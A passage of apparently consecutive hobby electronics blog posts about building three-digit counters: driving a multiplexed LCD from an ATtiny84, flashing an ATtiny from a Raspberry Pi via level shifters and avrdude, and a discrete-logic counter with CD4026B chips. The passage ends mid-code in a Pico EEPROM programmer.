After countless counter content, there's only one loose end left: what happened to those cute little LCD displays?

After about a month and a half of wandering around the world, they finally arrived. I had to straighten each of their pins one by one because the journey had clearly been rough on them, but other than that, they seemed perfectly healthy. Time to finally do something with them.

How does an LCD work?

No idea, it must be magic. But after all the adventures, I believe I can at least explain how to make them work. Well, this particular panel, anyway. I have no idea how much of this carries over to other LCDs.

The LED display we used previously had 3 COM pins and 7 segment pins (eight if we count the dot as well, but we ignored that). This LCD has 4 COM pins and 6 segment pins, which already suggests that the COM pins are no longer mapped one-to-one with the digits. Fortunately, there's a table that tells us exactly how the two relate.

There would've even been room for the dot. You can also see that each digit is associated with two pins. The numbering goes from left to right: segment 1D belongs to the leftmost digit, while 3D belongs to the rightmost one. I'm sure coding this will be delightful, but before we get there, this display has a few more quirks.

With LED displays, there are common-anode and common-cathode variants, which determine whether you need to set the segment pin high and the COM pin low, or the other way around. LCDs don't work like that. We have to alternate the polarity every single cycle. And if that weren't enough, the inactive COM pins shouldn't be the opposite polarity of the active one; they need to be held at half the supply voltage.

Let's look at an example. Suppose we want to enable segment 3D, which is at the intersection of COM1 and pin 2. The display requires 3V, so half the supply is 1.5V, and then we have ground at 0V.

• Set the COM1 pin to 3V.
• Set COM2-4 to 1.5V.
• Set pin 2 to 0V.
• Set the remaining segment pins (1, 3, 4, 5, 6) to 3V.
• Wait a little.
• Set the COM1 pin to 0V.
• COM2-4 stays at 1.5V.
• Set pin 2 to 3V.
• Set the remaining segment pins to 0V.
• Wait a little, then start the whole thing over again.

To display arbitrary numbers, we simply need to generalize this whole dance:

The COM pins follow a fixed repeating pattern, while the segment pins are determined by the number we're currently displaying. Assuming I haven't messed anything up, repeating these eight steps will display the number 123. You can also see that the first four steps are simply the inverse of the second four.

Now we just have to figure out where we're going to get 1.5V from.

Resistance isn't futile after all

We're going to use two little "tricks". The first is that if we connect two resistors in series between 0V and 3V, we'll get exactly 1.5V between them. What values should the resistors be? I'm sure you could calculate it somehow. I just tried two 47 kΩ resistors, and they worked.

The second "trick" is how we'll switch between the three voltage levels. We're using an ATtiny84 again, whose pins have three possible states: low, high, and high impedance (input mode). If we connect a microcontroller pin to an LCD pin through the two resistors of the voltage divider, then the LCD pin will see 0V when the microcontroller drives it low, 3V when it drives it high, and 1.5V when it's configured as an input.

The LCD is substituted with a ten-pin IC

While routing the wires, the main goal was to make the code simpler later on. That's why the poor ATtiny ended up upside down, allowing all the segment pins to land on port A. The COM pins mostly ended up on port B (there isn't enough room there because of the RESET pin), which will also be a little inconvenience during coding. We're not bothering with buttons this time; the program will automatically decrement the counter at regular intervals.

For the physical assembly, I used an even smaller prototyping board, which I regretted multiple times during the wiring. There wasn't much room to work with, but aesthetically, it matches the LCD quite nicely.

For comparison, you can also see our previous smallest LED version in the photo.

Unfortunately, the pin spacing of the LCD didn't turn out to be completely breadboard-friendly after all, but with a bit of persuasion, I managed to convince it to fit.

Now we can move on to the code. Fair warning: an outrageous amount of bit operations is about to follow. Parental supervision is recommended.

Bit-fiddling

Programming the chip is exactly the same as before. We just have to make the segments work in a completely different way. First, here's a quick summary of how everything is wired together:

The digits all follow the same pattern, but the segments of each digit are split across multiple COM lines. Each COM contains two bits of segment data per digit, and with four COM lines, that's exactly eight bits, so we can store the segment data like this:

    | COM4  | COM3  | COM2  | COM1  |
    |-------|-------|-------|-------|
    | F | A | G | B | E | C | D | _ |
|---|---|---|---|---|---|---|---|---|
| 7 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 |
|---|---|---|---|---|---|---|---|---|
| 8 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 |
|---|---|---|---|---|---|---|---|---|

We could put anything in place of the _, I went with zero. That gives us the following values for all the digits:

#define F_CPU 1000000UL

#include <avr/interrupt.h>
#include <avr/io.h>
#include <util/delay.h>

const uint8_t segments[16] = {
    0b11011110,
    0b00010100,
    0b01111010,
    0b01110110,
    0b10110100,
    0b11100110,
    0b11101110,
    0b01010100,
    0b11111110,
    0b11110110,
    0b11111100,
    0b10101110,
    0b11001010,
    0b00111110,
    0b11101010,
    0b11101000,
};

We'll also need a few helper variables:

const uint8_t com_pins[4] = { PA7, PB2, PB1, PB0 };
const uint8_t seg_pins[6] = { PA5, PA4, PA3, PA2, PA1, PA0 };

uint8_t com_idx = 0;
uint8_t direction = 0;

int16_t count = 0xFFF;

The com_idx tells us which COM is currently active, direction decides whether its value is currently zero or one, and count stores the number we're displaying. On to the main function:

int main(void) {
  DDRA = 0b11111111;
  DDRB = 0b0111;

  PORTA = 0;
  PORTB = 0;

  TCCR1A = 0;
  TCCR1B |= _BV(CS12) | _BV(WGM12);
  OCR1A = 15;
  TIMSK1 |= _BV(OCIE1A);

  sei();

  while (1) {
    _delay_ms(1000);
    cli();
    if (--count < 0) {
      count = 0xFFF;
    }
    sei();
  }
  return 0;
}

It's very similar to the previous version. The only real difference is that we've slowed down the timer and decremented the displayed number once every second. With only CS12 enabled, the timer receives the system clock divided by 256 and counts up to 16, so our interrupt function gets called roughly 240 times per second. Because of the four COM lines, that gets divided by four again, giving us a refresh rate of about 60 Hz.

Now let's look at the interrupt function:

ISR(TIM1_COMPA_vect) {
  if (direction) {
    PORTA |= _BV(seg_pins[0]) | _BV(seg_pins[1]) | _BV(seg_pins[2]) | _BV(seg_pins[3]) | _BV(seg_pins[4]) | _BV(seg_pins[5]);
  } else {
    PORTA &= ~(_BV(seg_pins[0]) | _BV(seg_pins[1]) | _BV(seg_pins[2]) | _BV(seg_pins[3]) | _BV(seg_pins[4]) | _BV(seg_pins[5]));
  }

  // ...
}

First, we place all the segment pins into their inactive state according to the current direction.

PORTA &= ~_BV(com_pins[0]);
DDRA &= ~_BV(com_pins[0]);
PORTB &= ~(_BV(com_pins[1]) | _BV(com_pins[2]) | _BV(com_pins[3]));
DDRB &= ~(_BV(com_pins[1]) | _BV(com_pins[2]) | _BV(com_pins[3]));

Then we configure all the COM pins as inputs with no pull-up resistors (high-impedance state).

if (com_idx == 0) {
  DDRA |= _BV(com_pins[com_idx]);
  if (direction) {
    PORTA |= _BV(com_pins[com_idx]);
  } else {
    PORTA &= ~_BV(com_pins[com_idx]);
  }
} else {
  DDRB |= _BV(com_pins[com_idx]);
  if (direction) {
    PORTB |= _BV(com_pins[com_idx]);
  } else {
    PORTB &= ~_BV(com_pins[com_idx]);
  }
}

Next, we switch the COM pin selected by com_idx to output mode and drive it with the appropriate signal for the current direction. Here's the price we have to pay for one of our pins living on port A: it has to be handled separately from the others.

uint8_t seg_value1 = segments[(count >> 8) & 0b1111];
uint8_t seg_value2 = segments[(count >> 4) & 0b1111];
uint8_t seg_value3 = segments[count & 0b1111];

uint8_t dig1 = (seg_value1 >> (com_idx * 2)) & 0b11;
uint8_t dig2 = (seg_value2 >> (com_idx * 2)) & 0b11;
uint8_t dig3 = (seg_value3 >> (com_idx * 2)) & 0b11;

uint8_t data = (dig1 << 4) | (dig2 << 2) | dig3;

Now we calculate the states of the segment pins. At first glance, it looks a little wild, but let's walk through an example to see what it's actually doing. Suppose count is 0x123, which in binary is 0b000100100011.

count >> 8 gives 0b0001, and bitwise ANDing it with 0b1111 still leaves us with 0b0001, which is the digit one.

count >> 4 gives 0b00010010, and bitwise ANDing that with 0b1111 gives 0b0010, which is the digit two.

Finally, count (0b000100100011) bitwise ANDed with 0b1111 becomes 0b0011, which is the digit three.

So we fetch the first, second, and third entries from the segments array:

• 0b00010100
• 0b01111010
• 0b01110110

We then shift these values right by 0, 2, 4, or 6 bits, depending on which COM is active, and mask them with 0b11. The result is the green bits for COM1, the blue bits for COM2, the orange bits for COM3, and the purple bits for COM4.

One final left shift and a few bitwise ORs later, we end up with 0b001010 for COM1, 0b011001 for COM2, 0b011111 for COM3, and 0b000101 for COM4. Exactly the bits we need to set for the segments of each respective COM.

for (uint8_t i = 0; i < 6; ++i) {
  if (direction ^ ((data >> i) & 1)) {
    PORTA |= _BV(seg_pins[i]);
  } else {
    PORTA &= ~_BV(seg_pins[i]);
  }
}

By pure coincidence, the pins in the seg_pins array happen to be in exactly the same order as the bits in the data we just assembled, so we simply extract the appropriate bit and set the pin's output according to the current direction.

if (++com_idx > 3) {
  com_idx = 0;
  direction = !direction;
}

Finally, we move on to the next COM, and once we've reached the end of the COM lines, we start all over again with the direction flipped.

0x000

And so we've reached the end. We've run out of numbers.

We've squeezed everything we possibly could out of these counters, and then some. There are no more loose ends left... except for that one particular project whose procrastination started this whole journey in the first place.

Maybe someday we'll finally get to that one, too.

In the previous post, I briefly mentioned that I hadn't managed to upload code to the ATtiny using a Raspberry Pi. At that point, finishing the project was the focus, so I went with the first working solution, but the problem has been bugging me ever since, so here comes act two.

The plan is to get the connection between the Raspberry Pi and the ATtiny working using some new hardware. Then we can get to know the inner workings of the ATtiny a little bit more.

Level shifting

I read somewhere that the Pi's 3.3V GPIO pins might not be enough for the ATtiny, which prefers 5V. To solve this, I ordered a few ICs known as the CD4504:

      ┌───┬──┬───┐
  VCC ┤ • └──┘   ├ VDD
A OUT ┤          ├ F OUT
 A IN ┤          ├ F IN
B OUT ┤          ├ SELECT
 B IN ┤  CD4504  ├ E OUT
C OUT ┤          ├ E IN
 C IN ┤          ├ D OUT
  VSS ┤          ├ D IN
      └──────────┘

It may not be the perfect choice for this purpose, but it might come in handy in other projects later. The point of the chip is that it replaces the voltage received on VCC with the one received on VDD. For example, if 3.3V comes in on VCC and 5V on VDD, then the 3.3V signal arriving at A IN will come out as a 5V signal on A OUT.

With SELECT, we could switch between TTL and CMOS signals, but as far as I understand it, both of our devices are CMOS, so we set SELECT low.

For today's playing around, we'll use an ATtiny84. The ATtiny24 is still embedded in the counter circuit's breadboard. In terms of the pinout, the two are the same. The 84 has a bit more memory.

             ┌───┬──┬───┐
         VDD ┤ • └──┘   ├ VSS
         PB0 ┤          ├ PA0
         PB1 ┤          ├ PA1
PB3 (RESET') ┤ ATtiny84 ├ PA2
         PB2 ┤          ├ PA3
         PA7 ┤          ├ PA4 (SCLK)
  PA6 (MOSI) ┤          ├ PA5 (MISO)
             └──────────┘

Our two-way communication looks like this:

• from the Pi to the ATtiny: RESET, SCLK, MOSI
• from the ATtiny to the Pi: MISO

Because of this, we use two CD4504s, one converting in the 3.3V->5V direction, the other in the 5V->3.3V direction.

To bring a little clarity to the wiring jungle, the striped wires are 5V, and the solid-coloured ones are 3.3V. The upper part of the breadboard is 3.3V, and the lower part is 5V. The signals coming from the Pi (RESET, SCLK, MOSI) pass through the 3.3V->5V CD4504, and the signal going to the Pi (MISO) passes through the 5V->3.3V CD4504.

Uploading

Let's take a simple program, say the classic blinking LED. We connect the LED to the PA7 pin, turn it on for one second, then off for another one.

blink.c

#define F_CPU 1000000UL

#include <avr/io.h>
#include <util/delay.h>

int main(void) {
  DDRA |= _BV(PA7);

  while (1) {
    PORTA |= _BV(PA7);
    _delay_ms(1000);
    PORTA &= ~_BV(PA7);
    _delay_ms(1000);
  }
  return 0;
}

As you can see, things work a little differently here. The Arduino IDE hides a lot of things from us. We'll return to these in a bit more detail later.

Sending it to the ATtiny won't be just a single button press either. First, we need to install a few packages. For Raspberry Pi OS running on a Pi 5, this was the command I needed:

# apt install avrdude avr-libc gcc binutils

Then we can compile our little program:

$ avr-gcc -mmcu=attiny84 -Wall -Os -o blink.elf blink.c

At this point, we have the option to check whether the program will fit on the ATtiny with the help of the avr-size command:

$ avr-size --format=avr --mcu=attiny84 blink.elf
AVR Memory Usage
----------------
Device: attiny84

Program:     100 bytes (1.2% Full)
(.text + .data + .bootloader)

Data:          0 bytes (0.0% Full)
(.data + .bss + .noinit)

If everything looks good, we can generate the necessary hex file from it:

$ avr-objcopy -j .text -j .data -O ihex blink.elf blink.hex

Which we can finally copy onto the ATtiny:

$ avrdude -p t84 -c linuxspi -P /dev/spidev0.0:/dev/gpiochip0 -x disable_no_cs -B 10kHz -U flash:w:blink.hex
avrdude: AVR device initialized and ready to accept instructions
avrdude: device signature = 0x1e930c (probably t84)
avrdude: Note: flash memory has been specified, an erase cycle will be performed.
         To disable this feature, specify the -D option.
avrdude: erasing chip
avrdude: reading input file blink.hex for flash
         with 100 bytes in 1 section within [0, 0x63]
         using 2 pages and 28 pad bytes
avrdude: writing 100 bytes flash ...

Writing | ################################################## | 100% 0.36 s 

avrdude: 100 bytes of flash written
avrdude: verifying flash memory against blink.hex

Reading | ################################################## | 100% 0.34 s 

avrdude: 100 bytes of flash verified

avrdude done.  Thank you.

And with that, we'd be done... but since we're already here, let's get to know the ATtiny a bit more closely and rewrite our earlier counter program.

A gentle introduction

I don't plan to go through the chip's complete documentation, which is more than 200 pages long. We'll only look at what is absolutely necessary for our counter. The basis of the whole thing is the registers, through which we can access the various hardware functions. The solution reminded me of the MCP23S17, which we also used in the 286 project. Interestingly, it's even the same manufacturer.

For example, there's the DDRB register, which we can use to set the direction of the pins on port 'B' (PB0-PB3). The indexing corresponds to the place value of the bits, with PB0 being the least significant bit. The PORTB register is used to set the state of the output pins, and we can read the values of the input pins from the PINB register. Similarly, these registers exist for the pins of port 'A', but there are also registers for timers, interrupts, and many others for settings and data.

What's very clear is that we'll be using a lot of bitwise operations. We even get a macro named _BV as a shorthand for bit shifting (it corresponds to the 1 << (bit) operation), which we'll use often in our code.

Recounting

After that much introduction, we can get started on our counter program. The hardware will be the same as before. As a reminder, these are connected to the legs of our microcontroller:

PA0 -> Display pin 12 (Dig1)
PA1 -> Display pin 11 (a)
PA2 -> Display pin 10 (f)
PA3 -> Display pin 9  (Dig2)
PA4 -> Display pin 8  (Dig3)
PA5 -> Display pin 7  (b)
PA6 -> Display pin 5  (g)
PA7 -> Display pin 4  (c)
PB0 -> Display pin 1  (e)
PB1 -> Display pin 2  (d)
PB2 -> Counter button
PB3 -> Reset button

Unfortunately for us, the display pins are all over the ports. I didn't want to rewire the whole project, so we'll have to live with this situation in the code. The ideal setup would probably be for the segment pins and the step button to go on the PA side, and the digit-select pins and the reset button on the PB side.

If we look at the assignment above, the distribution of the segments across the two ports looks like this:

PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | c | g | b | _ | _ | f | a | _ |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | _ | _ | d | e |

Our display is common-anode, so we need to send a zero on the segment pin and a one on the digit-select pin for the given segment of the given digit to light up. In the case of the number zero, segments a-f must be zero, and segment g must be one, so we need to write the following values to the two ports:

PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | 0 | 1 | 0 | _ | _ | 0 | 0 | _ |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | _ | _ | 0 | 0 |

We won't have to deal with the bits marked by underscores here, so we can write zero in their place.

PA | 7 | 6 | 5 | 4 | 3 | 2 | 1 | 0 |
---|---|---|---|---|---|---|---|---|
   | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |

PB | 3 | 2 | 1 | 0 |
---|---|---|---|---|
   | 0 | 0 | 0 | 0 |

Doing the same for the other digits as well, we'll get the following arrays:

#define F_CPU 1000000UL

#include <avr/interrupt.h>
#include <avr/io.h>

const uint8_t segments_a[16] = {
  0b01000000, 0b01000110, 0b10000100, 0b00000100,
  0b00000010, 0b00100000, 0b00100000, 0b01000100,
  0b00000000, 0b00000000, 0b00000000, 0b00100010,
  0b11100000, 0b00000110, 0b10100000, 0b10100000,
};
const uint8_t segments_b[16] = {
  0b0000, 0b0011, 0b0000, 0b0001,
  0b0011, 0b0001, 0b0000, 0b0011,
  0b0000, 0b0001, 0b0010, 0b0000,
  0b0000, 0b0000, 0b0000, 0b0010,
};

To make things a little more exciting, we'll display a hexadecimal number, so we'll be able to count all the way from 0 to 4095.

const uint8_t pin[3] = { PA0, PA3, PA4 };
uint8_t dig[3] = { 0, 0, 0 };
uint8_t i = 0;

uint8_t stable = 0;
uint8_t samples = 0;

We'll also have a few variables for storing the value, selecting the digit, and filtering out bounce.

And with that, we've arrived at the main function.

int main(void) {
  DDRA = 0b11111111;
  DDRB = 0b0011;

  TCCR1A = 0;
  TCCR1B |= _BV(CS11) | _BV(WGM12);
  OCR1A = 24;
  TIMSK1 |= _BV(OCIE1A);

  sei();

  while (1) {}
  return 0;
}

The function is surprisingly short, but all the more incomprehensible. At least without the nice long documentation.

• With DDRA and DDRB, we set the direction of ports 'A' and 'B': everything is output, except for the two buttons.
• With TCCR1A and TCCR1B, we start configuring a timer.
  • With the CS11 and CS12 bits (TCCR1B), we can set the timer clock. Since the default value is zero, we only need to set one of them to get 1/8 of the ATtiny's clock.
  • With the WGM10, WGM11 (TCCR1A), WGM12, and WGM13 (TCCR1B) bits, the counter mode can be set. In the mode we set (only the WGM12 bit is 1, the others are 0) it will count up to the value found in the OCR1A register, then it resets itself to zero.
• We set the OCR1A register to 25, which causes us to count up from 0 to 24.
• TIMSK1 contains the timer interrupt settings. By setting the OCIE1A bit, we get an interrupt when we reach the value in OCR1A.

Finally, calling the sei() function enables interrupts, and we reach an infinite loop that does nothing.

The ATtiny24 runs at 1MHz^[1] and the timer clock will be 1/8 of that, so 125kHz. The counter has to count up 25 steps for one interrupt, so with these settings, we'll get an interrupt every 1/5000 of a second, or every 0.2 milliseconds.

ISR(TIM1_COMPA_vect) {
  PORTA = segments_a[dig[i]];
  PORTB = segments_b[dig[i]];
  PORTA |= _BV(pin[i]);
  if (++i > 2) i = 0;

  uint8_t now = (PINB & _BV(PB2)) ? 1 : 0;
  if (now != stable) {
    if (++samples > 50) {
      stable = now;
      samples = 0;
      if (stable == 1) {
        if (++dig[2] > 0xF) {
          dig[2] = 0;
          if (++dig[1] > 0xF) {
            dig[1] = 0;
            if (++dig[0] > 0xF) {
              dig[0] = 0;
            }
          }
        }
      }
    }
  } else {
    samples = 0;
  }
}

This is our function that gets called by the interrupt, five thousand times per second.^[2]

By setting PORTA/PORTB, we display the current digit and advance i to the next digit. We may have a hunch here that the two PORTA modifications could be done in one go, but that can lead to some rather interesting behavior:

PORTA = segments_a[dig[i]] | _BV(pin[i]);
PORTB = segments_b[dig[i]];

In this case, we switch digits before setting the d and e segments on port B to the correct value, so in certain cases, the d and e segments will glow faintly even when they shouldn't.

PORTB = segments_b[dig[i]];
PORTA = segments_a[dig[i]] | _BV(pin[i]);

In this case, the d and e segments on port 'B' get their new value before we switch digits, which leads to a similar problem.

In the original setup, port 'A' gets its value first, but with that, we also turn off all digit selectors. Port 'B' gets its new value, and then we select the new digit. This way, there is no moment in time when a segment would light up in the wrong place.

After refreshing the display, we check the value of the button. If it does not match the current stable value, we increase the number of samples. If we have fifty^[3] good samples, then the new value becomes the stable value. If the button was pressed, we increment the value of the digits in the usual way, but now we don't stop at just 9; we go up to 15.

With the stored stable state and the sampling, we ensure that a change in the button's state is only considered valid if the new signal stabilizes for at least 10 milliseconds. So we filter out the bounce that occurs at the moment the button is pressed and released.

In the way discussed above, we can upload the code to the earlier ATtiny24 used for counting, and become the happy owners of a hexadecimal counter.

Taking stock

We've gotten through this one as well. Yet another counter... who would have thought, after the previous post? With the new code, we managed to make the previous version somewhat better:

• We didn't have to use PROGMEM.
• Instead of 999, we can count up to 4095.
• The debounce protection became more reliable.
• We refresh the digits of the display much faster.

There would still be things to improve if we were bored (for example, not displaying the leading zeros), but my curiosity only drove me this far. Escaping from the Arduino IDE let us get much closer to the hardware. Perhaps closer than we would have liked.

Notes

1. ↑ The default settings, it can be changed with fuses, but that would mess up our calculations.

2. ↑ Writing this down, I started worrying that maybe this function was doing too much, so I did the math, and if everything is true, then even in the worst case, it finishes within 60 clock cycles, and we have 200 clock cycles' worth of time between two interrupts.

3. ↑ You can experiment with the number of samples to find the point where we no longer get false button presses, and the speed of repeated button presses also feels right.

I have had a hardware project in the making for a while now. It's been moving along slowly; I only need to finish the programming part, but I rarely feel like doing it. Because of that, I'm extremely susceptible to distractions.

So I saw a mechanical counter in a video. It's not much more than four digits and a button you can use to increment the number. And a knob to zero the whole thing out.

A bit later, I ran into a cute little LCD panel. It can show three digits and, given its dimensions, it looks very breadboard-compatible.

Maybe you can already feel where all this is going. We should build a digital counter. Surely it can't be too complicated. Just a microcontroller, a button or two, a 7-segment display, and a few lines of code. Or is it?

The target hardware

As usual, I didn't go down the easy path. As so many times before, the goal here wasn't actually to make a digital counter. It was just an excuse so I didn't have to work on the other project.

But I didn't want to make my life too hard either, so we won't be making a counter out of just NAND gates. There are specific components out there that can solve parts of our problem. For example, ICs that can count, or ones that understand the segment format of 7-segment displays.

After a bit of searching, I found a chip called the CD4026B, which can count from 0 to 9 and whose output corresponds to the segments of a 7-segment display, from a to g.

                   ┌───┬──┬───┐
             CLOCK ┤ • └──┘   ├ VDD
     CLOCK INHIBIT ┤          ├ RESET
 DISPLAY ENABLE IN ┤          ├ UNGATED "C" SEGMENT OUT
DISPLAY ENABLE OUT ┤          ├ c
         CARRY OUT ┤ CD4026B  ├ b
                 f ┤          ├ e
                 g ┤          ├ a
               VSS ┤          ├ d
                   └──────────┘

Because of the display, I'm aiming for three digits. The chip's CARRY OUT output becomes 1 when the counter rolls over from 9 to 0, so several CD4026Bs can be chained together to get multiple digits. The CARRY OUT of the lower place value chip has to be connected to the CLOCK of the next higher place value chip.

We could connect the button to the CLOCK input of the lowest place value chip, but buttons have that bad habit called bounce. During a button press, the contacts often touch each other several times, so instead of the expected single increment, our number will increase by some random amount. Not exactly ideal behavior for a counter.

According to the Internet, there are lots of ways to fix this. I recalled a Ben Eater video from the 8-bit computer building series, where this was solved with a monostable 555 timer.

At this point, we have a well-behaved button and three chained ICs, which together can count from 0 to 999. But we can't see their current value.

It turned out that the LCD panel mentioned above is unfortunately not as simple to drive as, say, a 7-segment LED display. Also, it didn't arrive in time, so I used a BC56-12 model instead.

It's worth knowing that all three digits use the same input pins for segments. In addition to those, there are three other inputs that select the currently active digit. So if we want to display three different digits at once, we have to switch between the three inputs very quickly, so that to our eyes it looks as if all three digits are lit at the same time.

There are two versions of this display: common anode and common cathode, depending on whether the anode or cathode ends of the segment LEDs are connected together. Our version is a common cathode.

For the fast switching between the numbers, we'll need a clock signal. Luckily, there's another Ben Eater video from which we can learn to generate a clock signal with the help of an astable 555 timer. We still have to divide this one clock signal into three somehow, so we can use it to select the active digit. I used another counter, the CD4017B, for this.

    ┌───┬──┬───┐
  5 ┤ • └──┘   ├ VDD
  1 ┤          ├ RESET
  0 ┤          ├ CLOCK
  2 ┤          ├ CLOCK INHIBIT
  6 ┤ CD4017B  ├ CARRY OUT
  7 ┤          ├ 9
  3 ┤          ├ 4
VSS ┤          ├ 8
    └──────────┘

Instead of actual segments, this counter indicates its current value on 10 different outputs. We will use the first three numbers to get three mutually exclusive signals, and hook up the fourth number to RESET so it resets itself to zero.

So on one side we have our chained counters with the button, on the other side we have a clock signal split into three, with which we can select the active digit.

There's a promisingly-named DISPLAY ENABLE IN input on our counters. We might think that it could be useful for our situation. But it isn't.

When DISPLAY ENABLE IN is low, all the outputs go low. If they are connected to other outputs that are high (because a segment is turned on in another digit), that creates a short circuit. So it's better not to connect the outputs of our counters together.

Maybe a few (21) diodes could have solved the issue, but I chose the 74HC541 chip invented for this purpose:

     ┌───┬──┬───┐
OE1' ┤ • └──┘   ├ VDD
  A0 ┤          ├ OE2'
  A1 ┤          ├ Y0
  A2 ┤          ├ Y1
  A3 ┤          ├ Y2
  A4 ┤ 74HC541  ├ Y3
  A5 ┤          ├ Y4
  A6 ┤          ├ Y5
  A7 ┤          ├ Y6
 VSS ┤          ├ Y7
     └──────────┘

The input comes in on the A0-7 pins and is output on the Y0-7 pins, if the outputs are enabled (OE1' and OE2'). If the output isn't enabled, then the Y0-7 outputs go into a high-impedance mode and don't interfere with outputs from other ICs.

So we connect the a-g outputs of our three CD4026B counters to the inputs of one 74HC541 chip each (the blue wires in the picture), then connect the outputs of the three 74HC541s together (the green wires in the picture) and connect them to the display.

We want to use the signals coming from the CD4017B, which divides the clock signal into three, so that only the appropriate 74HC541 and LED digit are active. But in both places, we need a low signal, while the CD4017B outputs a high signal for the active digit. Fortunately, integrated circuits exist for this too, such as the 74HC240, which inverts the input signal.

     ┌───┬──┬───┐
1OE' ┤ • └──┘   ├ VDD
 1A1 ┤          ├ 2OE'
 2Y4 ┤          ├ 1Y1
 1A2 ┤          ├ 2A4
 2Y3 ┤          ├ 1Y2
 1A3 ┤ 74HC240  ├ 2A3
 2Y2 ┤          ├ 1Y3
 1A4 ┤          ├ 2A2
 2Y1 ┤          ├ 1Y4
 VSS ┤          ├ 2A1
     └──────────┘

We connect our three outputs coming from the CD4017B to the 1A1, 1A2, and 1A3 inputs, and get their opposite values on the 1Y1, 1Y2, and 1Y3 outputs.

With that, we have all the components we need for a working counter. Now we only have to wire everything together, and we're done.

                                                               ╔═════════╗
                        ┌───────────┬───────────┬───────────┬──╢ BC56-12 ║
                        │           │           │           │  ╚═════════╝
                        │           │           │           │
                   ╔════╧════╗ ╔════╧════╗ ╔════╧════╗ ╔════╧════╗
                   ║ 74HC541 ║ ║ 74HC541 ║ ║ 74HC541 ║ ║ 74HC240 ║
                   ╚════╤══╤═╝ ╚════╤══╤═╝ ╚════╤══╤═╝ ╚═╤══╤════╝
                        ┃  └────────╂──┴────────╂──┴─────┘  │
                        ┃           ┃           ┃      ╔════╧════╗
                        ┃           ┃           ┃      ║ CD4017B ║
                        ┃           ┃           ┃      ╚════╤════╝
                        ┃           ┃           ┃           │
╔════════╗ ╔═════╗ ╔════╧════╗ ╔════╧════╗ ╔════╧════╗   ╔══╧══╗
║ Button ╟─╢ 555 ╟─╢ CD4026B ╟─╢ CD4026B ╟─╢ CD4026B ║   ║ 555 ║
╚════════╝ ╚═════╝ ╚═════════╝ ╚═════════╝ ╚═════════╝   ╚═════╝

In the picture, you can also see that an extra button is connected to the RESET pins of the three CD4026Bs. It can happen that we start with a random value when the counter is turned on, so it's good to have a reset-to-zero button on hand.

Although the end result looks great, it would be quite uncomfortable to use it as a handheld counter, so I kept looking around for alternative solutions.

Memory helps

At this point, the YouTube Algorithm was probably perfectly aware of what I was up to. It was kind enough to offer me yet another Ben Eater video to watch, this one about driving a 7-segment LED display with an EEPROM.

The components used there are not completely suitable for our purposes, but we can use the basic idea: in the EEPROM, we store in advance which of the 7 segments need to be turned on for a given digit of a given number.

So the input of the EEPROM will be which digit we're currently displaying (3 pins) and which number we're currently at (10 pins, 10 bits, numbers between 0 and 1023). The output will be the state of the seven segments (7 pins). The AT28C64B fits these conditions perfectly: it has 13 inputs and 8 outputs.

     ┌───┬──┬───┐
     ┤ • └──┘   ├ VDD
 A12 ┤          ├ WE'
  A7 ┤          ├ 
  A6 ┤          ├ A8
  A5 ┤          ├ A9
  A4 ┤          ├ A11
  A3 ┤          ├ OE'
  A2 ┤ AT28C64B ├ A10
  A1 ┤          ├ CE'
  A0 ┤          ├ I/O7
I/O0 ┤          ├ I/O6
I/O1 ┤          ├ I/O5
I/O2 ┤          ├ I/O4
 VSS ┤          ├ I/O3
     └──────────┘

The beginning of the circuit will be very familiar: first, a monostable 555 timer for debouncing the button press, an astable 555 timer for the clock signal, and a CD4017B IC, which splits the clock into three to select the digits. For the counter, we will use the CD4040B, which produces a 12-bit binary output (it can count from 0 to 4095).

    ┌───┬──┬───┐
Q12 ┤ • └──┘   ├ VDD
 Q6 ┤          ├ Q11
 Q5 ┤          ├ Q10
 Q7 ┤          ├ Q8
 Q4 ┤ CD4040B  ├ Q9
 Q3 ┤          ├ RESET
 Q2 ┤          ├ CLOCK
VSS ┤          ├ Q1
    └──────────┘

The data loaded into the AT28C64B performs the conversion between the binary counter and the LED display. The LED display will now be a BA56-12, so we don't have to invert the clock signal (because of the common anode, the selected digit has to be high, while the segment selected to light up has to be low).

First of all, we have to fill the EEPROM with data. I used a Raspberry Pi Pico for this. Fortunately, it has just enough GPIO pins.

I wrote a little program for it, but I was too lazy to interpret the timing diagrams of the AT28C64B. Instead, I worked with rather large safety margins as far as the sleeps are concerned. This made it fairly slow, but in exchange, it wasn't all that reliable either. I needed to run it multiple times to get the right values in.

#define A0 10
// ...
#define A12 2
#define IO0 11
// ...
#define IO7 18
#define WE 27
#define OE 20

const uint8_t address[13] = { A0, A1, A2, A3, A4, A5, A6, A7, A8, A9, A10, A11, A12 };
const uint8_t io[8] = { IO5, IO7, IO1, IO4, IO3, IO6, IO2, IO0 };

const uint8_t numbers[10][8] = {
    {0, 0, 0, 0, 0, 0, 1, 1},
    {1, 0, 0, 1, 1, 1, 1, 1},
    {0, 0, 1, 0, 0, 1, 0, 1},
    {0, 0, 0, 0, 1, 1, 0, 1},
    {1, 0, 0, 1, 1, 0, 0, 1},
    {0, 1, 0, 0, 1, 0, 0, 1},
    {0, 1, 0, 0, 0, 0, 0, 1},
    {0, 0, 0, 1, 1, 1, 1, 1},
    {0, 0, 0, 0, 0, 0, 0, 1},
    {0, 0, 0, 0, 1, 0, 0, 1},
};

We start with a bit of configuration. We need to map the Pico's pins to the AT28C64B pins. Then we define the order of the address and I/O pins. Finally, we need a mapping of numbers to segment states (on or off).

The order of the address and I/O pins here depends on how we are going to wire the AT28C64B to its inputs and outputs in its final location. In the case of the address, the counter's value will arrive on pins A0-A9. Pins A10-A12 will be used for digit selection. The I/O pins are all over the place just to make the wiring easier between the EEPROM and the display.

int main()
{
    stdio_init_all();

    gpio_init(WE);
    gpio_set_dir(WE, GPIO_OUT);
    gpio_put(WE, true);

    gpio_init(OE);
    gpio_set_dir(OE, GPIO_OUT);
    gpio_put(OE, true);

    for (const uint8_t pin : address)
    {
        gpio_init(pin);
        gpio_set_dir(pin, GPIO_OUT);
        gpio_put(pin, false);
    }
    for (const uint8_t pin : io)
    {
        gpio_init(pin);
        gpio_set_dir(pin, GPIO_OUT);
